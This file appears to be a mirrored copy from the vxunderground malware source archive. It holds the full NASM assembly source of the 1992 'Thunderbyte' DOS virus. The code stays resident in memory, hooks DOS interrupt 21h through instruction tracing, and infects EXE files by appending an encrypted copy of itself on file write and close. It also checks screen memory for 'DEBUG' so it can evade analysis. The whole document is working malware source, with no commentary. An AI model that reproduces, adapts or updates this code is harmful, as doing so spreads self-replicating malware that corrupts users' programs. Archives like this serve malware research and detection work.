mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
613 lines
10 KiB
NASM
613 lines
10 KiB
NASM
;*****************************************************************************;
|
||
; ;
|
||
; Tunderbyte Virus ;
|
||
; ;
|
||
; TBSCAN.DAT : DB3F00807609??4D75F9 ;
|
||
; ;
|
||
;*****************************************************************************;
|
||
|
||
virus segment public 'code'
|
||
assume cs:virus, ds:virus, es:virus
|
||
org 0
|
||
|
||
VirusStart equ $
|
||
VirusSize1 equ (VirusEnd1-$)
|
||
VirusSize2 equ (VirusEnd2-$)
|
||
|
||
Decrypt1: db 0bdh,StartEncrypt-Decrypt2,0
|
||
db 80h,76h,Decrypt2-VirusStart-1,0
|
||
db 4dh,75h,-7
|
||
Decrypt2: cli
|
||
mov sp,offset DoAgain-2
|
||
ret -8
|
||
|
||
db 0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0
|
||
|
||
Init: mov cx,(VirusEnd1-StartEncrypt+1)/2
|
||
mov dl,byte ptr cs:Decrypt1[6]
|
||
mov dh,dl
|
||
mov si,offset StartEncrypt
|
||
NotReady: ret 2
|
||
|
||
DecryptWord: mov ax,ss:[si]
|
||
xor cs:[si],dx
|
||
NextWord: add dx,ax
|
||
inc si
|
||
ret -4
|
||
|
||
dw DecryptWord
|
||
dw DoAgain
|
||
dw NextWord
|
||
dw Init
|
||
DoAgain: loop NotReady
|
||
|
||
StartEncrypt equ $
|
||
|
||
Main: mov sp,1000h
|
||
sti
|
||
push ds
|
||
push es
|
||
mov ax,03031h
|
||
mov bx,0DEADh
|
||
int 21h
|
||
cmp ax,0DEADh
|
||
jne Install
|
||
jmp Exit
|
||
Install: push es
|
||
mov ah,52h
|
||
int 21h
|
||
mov ax,es:[bx-2]
|
||
mov cs:FirstMCB,ax
|
||
pop es
|
||
CheckBlock: mov ds,ax
|
||
inc ax
|
||
cmp word ptr ds:[1],ax
|
||
jne NextBlock
|
||
cmp word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
|
||
jne NextBlock
|
||
push ax
|
||
push es
|
||
mov cx,VirusSize2
|
||
xor di,di
|
||
mov es,ax
|
||
mov al,es:[di]
|
||
cld
|
||
repe scasb
|
||
pop es
|
||
pop ax
|
||
je CopyVirus
|
||
NextBlock: add ax,ds:[3]
|
||
cmp byte ptr ds:[0],'Z'
|
||
jne CheckBlock
|
||
mov ah,4ah
|
||
mov bx,-1
|
||
int 21h
|
||
mov ah,4ah
|
||
sub bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1
|
||
int 21h
|
||
mov ah,48h
|
||
mov bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
|
||
int 21h
|
||
CopyVirus: push cs
|
||
pop ds
|
||
dec ax
|
||
mov es,ax
|
||
inc ax
|
||
mov es:[1],ax
|
||
mov cx,8
|
||
mov si,offset CommandStr
|
||
mov di,cx
|
||
cld
|
||
rep movsb
|
||
mov es,ax
|
||
EncryptZero: inc byte ptr ds:Decrypt1[6]
|
||
jz EncryptZero
|
||
mov cx,VirusSize2
|
||
xor si,si
|
||
xor di,di
|
||
cld
|
||
rep movsb
|
||
push es
|
||
call ReturnFar
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov ax,offset DebugWatch
|
||
xchg ax,ds:[20h]
|
||
mov cs:OldInt8o,ax
|
||
mov ax,cs
|
||
xchg ax,ds:[22h]
|
||
mov cs:OldInt8s,ax
|
||
sti
|
||
push ds:[4]
|
||
push ds:[6]
|
||
mov word ptr ds:[4],offset Trace1
|
||
mov word ptr ds:[6],cs
|
||
pushf
|
||
push cs
|
||
mov ax,offset Return4
|
||
push ax
|
||
cli
|
||
pushf
|
||
pop ax
|
||
or ax,100h
|
||
push ax
|
||
push ds:[86h]
|
||
push ds:[84h]
|
||
mov ah,52h
|
||
Trace1: push bp
|
||
mov bp,sp
|
||
push ax
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov ax,FirstMCB
|
||
cmp [bp+4],ax
|
||
jae Return1
|
||
mov ax,[bp-2]
|
||
mov RegAX,ax
|
||
mov RegSP,bp
|
||
mov ax,[bp+2]
|
||
mov OldInt21o,ax
|
||
mov ax,[bp+4]
|
||
mov OldInt21s,ax
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov word ptr ds:[4],offset Trace2
|
||
mov word ptr ds:[6],cs
|
||
jmp short Trace3
|
||
Return1: jmp short Return3
|
||
Trace2: push bp
|
||
mov bp,sp
|
||
push ax
|
||
push ds
|
||
cmp ax,cs:RegAX
|
||
jne Return3
|
||
cmp bp,cs:RegSP
|
||
jne Return3
|
||
Trace3: push bx
|
||
push dx
|
||
lds bx,[bp+2]
|
||
mov al,[bx]
|
||
mov dx,[bx+1]
|
||
inc dx
|
||
cmp al,0e9h
|
||
je JumpOpcode
|
||
cmp al,0e8h
|
||
je CallOpcode
|
||
xchg ax,dx
|
||
dec ax
|
||
cbw
|
||
xchg ax,dx
|
||
cmp al,0ebh
|
||
je JumpOpcode
|
||
cmp al,70h
|
||
jb Return2
|
||
cmp al,7fh
|
||
ja Return2
|
||
JumpOpcode: push ax
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov word ptr ds:[0c8h],offset HackJump
|
||
mov word ptr ds:[0cah],cs
|
||
jmp short Continue
|
||
CallOpcode: push ax
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov word ptr ds:[0c8h],offset HackCall
|
||
mov word ptr ds:[0cah],cs
|
||
Continue: pop ds
|
||
pop ax
|
||
mov cs:Displacement,dx
|
||
mov cs:Opcode,al
|
||
mov ax,32cdh
|
||
xchg ax,[bx]
|
||
mov cs:SavedCode,ax
|
||
mov cs:HackOffset,bx
|
||
mov cs:HackSegment,ds
|
||
and word ptr [bp+6],0feffh
|
||
Return2: pop dx
|
||
pop bx
|
||
Return3: pop ds
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
Return4: pop ds:[6]
|
||
pop ds:[4]
|
||
mov cs:Handle,0
|
||
Exit: pop es
|
||
pop ds
|
||
mov ax,ds
|
||
add ax,10h
|
||
add cs:OldCS,ax
|
||
add ax,cs:OldSP
|
||
mov dx,cs:OldSP
|
||
cli
|
||
mov ss,ax
|
||
mov sp,dx
|
||
sti
|
||
jmp cs:OldEntry
|
||
|
||
ReturnFar: retf
|
||
|
||
OldEntry equ this dword
|
||
OldIP dw 0
|
||
OldCS dw -10h
|
||
OldSP dw 1000h
|
||
OldSS dw 0
|
||
|
||
HackAddress equ this dword
|
||
HackOffset dw ?
|
||
HackSegment dw ?
|
||
SavedCode dw ?
|
||
|
||
HackJump: call Interrupt21
|
||
push bp ; simulate a conditional or
|
||
push ax ; unconditional jump
|
||
mov bp,sp
|
||
mov ax,[bp+8]
|
||
and ax,0fcffh
|
||
push ax
|
||
db 0b8h ; mov ax,????
|
||
Displacement dw 0
|
||
popf
|
||
Opcode db 0ebh,3,0 ; j?? +3
|
||
xor ax,ax
|
||
nop
|
||
add [bp+4],ax
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
HackCall: call Interrupt21
|
||
sub sp,2 ; simulate a call
|
||
push bp
|
||
mov bp,sp
|
||
push ax
|
||
mov ax,[bp+4]
|
||
inc ax
|
||
xchg ax,[bp+8]
|
||
xchg ax,[bp+6]
|
||
xchg ax,[bp+4]
|
||
add ax,cs:Displacement
|
||
mov [bp+2],ax
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
Seek: mov ah,42h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
|
||
Dos: pushf
|
||
db 9ah
|
||
OldInt21o dw ?
|
||
OldInt21s dw ?
|
||
ret
|
||
|
||
DosVersion: cmp ax,3031h
|
||
jne NotTByte
|
||
cmp bx,0DEADh
|
||
jne NotTByte
|
||
mov ax,0DEADh
|
||
add sp,8
|
||
iret
|
||
|
||
Interrupt21: cmp ah,30h
|
||
je DosVersion
|
||
push si
|
||
push ds
|
||
push cs:SavedCode
|
||
lds si,cs:HackAddress
|
||
pop ds:[si]
|
||
pop ds
|
||
pop si
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
cmp ah,3eh
|
||
je CloseFile
|
||
cmp ah,40h
|
||
je WriteFile
|
||
Old21: pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
push si
|
||
push ds
|
||
lds si,cs:HackAddress
|
||
mov word ptr ds:[si],32cdh
|
||
pop ds
|
||
pop si
|
||
NotTByte: ret
|
||
|
||
WriteFile: mov ax,4400h
|
||
call Dos
|
||
cmp dl,7fh
|
||
ja Error1
|
||
mov al,1
|
||
call Seek
|
||
jc Error1
|
||
or dx,dx
|
||
jnz Error1
|
||
cmp ax,17h
|
||
ja Error1
|
||
push cs
|
||
pop es
|
||
mov si,dx
|
||
mov di,offset Signature
|
||
add di,ax
|
||
cmp word ptr [si],"ZM"
|
||
jne Error1
|
||
cmp word ptr [si+12h],0DEADh
|
||
je Error1
|
||
cmp cx,18h
|
||
jb CheckHandle
|
||
or ax,ax
|
||
jz Ok
|
||
CheckHandle: cmp bx,cs:Handle
|
||
jne Error1
|
||
Ok: add cx,ax
|
||
cmp cx,18h
|
||
jbe CountOk
|
||
mov cx,18h
|
||
CountOk: sub cx,ax
|
||
jbe Error1
|
||
cld
|
||
rep movsb
|
||
mov cs:Handle,bx
|
||
Error1: jmp Old21
|
||
|
||
CloseFile: push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov ax,4400h
|
||
call Dos
|
||
test dl,80h
|
||
jne Error1
|
||
or bx,bx
|
||
je Read
|
||
cmp cs:Handle,bx
|
||
je DoNotRead
|
||
Read: xor al,al
|
||
call Seek
|
||
jc Error1
|
||
mov ah,3fh
|
||
mov cx,18h
|
||
mov dx,offset Signature
|
||
call Dos
|
||
jc Error1
|
||
DoNotRead: mov cs:Handle,0
|
||
cmp Signature,"ZM"
|
||
jne Error1
|
||
cmp ChkSum,0DEADh
|
||
je Error1
|
||
mov ax,ExeIP
|
||
mov OldIP,ax
|
||
mov ax,ExeCS
|
||
mov OldCS,ax
|
||
mov ax,ExeSS
|
||
mov OldSS,ax
|
||
mov ax,ExeSP
|
||
mov OldSP,ax
|
||
mov al,2
|
||
call Seek
|
||
jc Error1
|
||
push ax
|
||
push dx
|
||
mov cx,200h
|
||
div cx
|
||
cmp PartPage,dx
|
||
jne SizeError
|
||
add dx,-1
|
||
adc ax,0
|
||
cmp PageCount,ax
|
||
SizeError: pop dx
|
||
pop ax
|
||
jne Error2
|
||
add ax,0fh
|
||
adc dx,0
|
||
and ax,0fff0h
|
||
mov cx,dx
|
||
mov dx,ax
|
||
mov ax,4200h
|
||
call Dos
|
||
jnc SeekOk
|
||
Error2: jmp Old21
|
||
SeekOk: mov cx,10h
|
||
div cx
|
||
sub ax,HdrSize
|
||
mov ExeCS,ax
|
||
mov ExeIP,offset Decrypt1
|
||
mov ExeSS,ax
|
||
mov ExeSP,VirusSize1+400h
|
||
cmp MinMem,40h
|
||
jae MemoryOk
|
||
mov MinMem,40h
|
||
cmp MaxMem,40h
|
||
jae MemoryOk
|
||
mov MaxMem,40h
|
||
MemoryOk: push ds
|
||
push es
|
||
mov ax,cs
|
||
mov ds,ax
|
||
add ax,(VirusSize2+0fh)/10h
|
||
mov es,ax
|
||
mov cx,VirusSize1
|
||
xor si,si
|
||
xor di,di
|
||
cld
|
||
rep movsb
|
||
mov ds,ax
|
||
mov cx,offset StartEncrypt-Decrypt2
|
||
mov dl,byte ptr ds:Decrypt1[6]
|
||
mov si,offset StartEncrypt-1
|
||
Again1: xor ds:[si],dl
|
||
dec si
|
||
loop Again1
|
||
mov cx,(VirusEnd1-StartEncrypt+1)/2
|
||
mov dh,dl
|
||
mov si,offset StartEncrypt
|
||
Again2: xor ds:[si],dx
|
||
mov ax,ds:[si]
|
||
add dx,ax
|
||
inc si
|
||
add dx,ax
|
||
inc si
|
||
loop Again2
|
||
mov ah,40h
|
||
mov cx,VirusSize1
|
||
xor dx,dx
|
||
call Dos
|
||
pop ds
|
||
pop es
|
||
jc Error3
|
||
mov al,2
|
||
call Seek
|
||
jc Error3
|
||
mov cx,200h
|
||
div cx
|
||
mov PartPage,dx
|
||
add dx,-1
|
||
adc ax,0
|
||
mov PageCount,ax
|
||
mov ChkSum,0DEADh
|
||
xor al,al
|
||
call Seek
|
||
jc Error3
|
||
mov ah,40h
|
||
mov cx,18h
|
||
mov dx,offset Signature
|
||
call Dos
|
||
Error3: jmp Old21
|
||
|
||
Count dw 8
|
||
DebugStr db 'DEBUG'
|
||
CommandStr db 'COMMAND '
|
||
|
||
DebugWatch: push ax
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
dec cs:Count
|
||
jnz EndWatch
|
||
mov cs:Count,8
|
||
mov ax,0b000h
|
||
mov ds,ax
|
||
mov cx,2
|
||
push cs
|
||
pop es
|
||
cld
|
||
NextScreen: push cx
|
||
mov cx,2000
|
||
xor si,si
|
||
mov di,offset DebugStr
|
||
NextChar1: mov dx,5
|
||
NextChar2: lodsb
|
||
inc si
|
||
and al,0dfh
|
||
scasb
|
||
jne CharOk
|
||
dec dx
|
||
jnz NextChar2
|
||
Alarm: pop cx
|
||
lds si,cs:HackAddress
|
||
cmp byte ptr ds:[si],0cdh
|
||
jne EndWatch
|
||
mov ax,cs:SavedCode
|
||
mov ds:[si],ax
|
||
xor cx,cx
|
||
mov ds,cx
|
||
mov ax,cs:OldInt8o
|
||
mov ds:[20h],ax
|
||
mov ax,cs:OldInt8s
|
||
mov ds:[22h],ax
|
||
mov es,cx
|
||
push cs
|
||
pop ds
|
||
mov cx,14
|
||
mov si,offset EndWatch-2
|
||
mov di,4f0h
|
||
push es
|
||
push di
|
||
rep movsb
|
||
xor di,di
|
||
mov cx,VirusSize2
|
||
push cs
|
||
pop es
|
||
retf
|
||
CharOk: neg dx
|
||
add dx,5
|
||
sbb di,dx
|
||
sub si,dx
|
||
sub si,dx
|
||
loop NextChar1
|
||
ScreenOk: mov ax,ds
|
||
add ax,800h
|
||
mov ds,ax
|
||
pop cx
|
||
loop NextScreen
|
||
jmp short EndWatch
|
||
rep stosb
|
||
EndWatch: pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
db 0eah
|
||
OldInt8o dw ?
|
||
OldInt8s dw ?
|
||
|
||
db '***** (C) COPYRIGHT 1992 BY THE WRITER *****'
|
||
|
||
VirusEnd1 equ $
|
||
|
||
FirstMCB dw ?
|
||
RegAX dw ?
|
||
RegSP dw ?
|
||
|
||
Handle dw ?
|
||
Signature dw ?
|
||
PartPage dw ?
|
||
PageCount dw ?
|
||
ReloCnt dw ?
|
||
HdrSize dw ?
|
||
MinMem dw ?
|
||
MaxMem dw ?
|
||
ExeSS dw ?
|
||
ExeSP dw ?
|
||
ChkSum dw ?
|
||
ExeIP dw ?
|
||
ExeCS dw ?
|
||
|
||
VirusEnd2 equ $
|
||
|
||
virus ends
|
||
|
||
end Main
|
||
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;
|
||
|